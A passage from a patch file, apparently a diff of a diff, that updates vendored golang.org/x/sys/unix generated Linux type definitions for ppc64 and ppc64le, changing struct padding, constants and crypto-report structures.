-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint32
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint32
-+ Reserved [4]int8
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go
-index 2b0b18e9..74151909 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -105,7 +88,7 @@ type Stat_t struct {
- Mode uint32
- Uid uint32
- Gid uint32
-- X__pad2 int32
-+ _ int32
- Rdev uint64
- Size int64
- Blksize int64
-@@ -118,139 +101,29 @@ type Stat_t struct {
- _ uint64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]uint8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]uint8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]uint8
-@@ -261,51 +134,20 @@ type RawSockaddrAny struct {
- Pad [96]uint8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -314,277 +156,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Gpr [32]uint64
- Nip uint64
-@@ -616,71 +197,37 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]uint8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]uint8
-- Nodename [65]uint8
-- Release [65]uint8
-- Version [65]uint8
-- Machine [65]uint8
-- Domainname [65]uint8
-+ _ [0]uint8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]uint8
-- Fpack [6]uint8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]uint8
-+ Fpack [6]uint8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
-- Events uint32
-- X_padFd int32
-- Fd int32
-- Pad int32
--}
--
--const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
-+ Events uint32
-+ _ int32
-+ Fd int32
-+ Pad int32
- }
-
- const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -693,20 +240,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -718,13 +256,12 @@ type Taskstats struct {
- Ac_comm [32]uint8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -748,55 +285,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]uint8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]uint8
-+ Driver_name [64]uint8
-+ Module_name [64]uint8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]uint8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]uint8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]uint8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]uint8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]uint8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]uint8
-+ Geniv [64]uint8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]uint8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]uint8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]uint8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint64
-+ Inode uint64
-+ Rdevice uint64
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]uint8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]uint8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]uint8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]uint8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]uint8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go
-index b2b59992..046c2deb 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
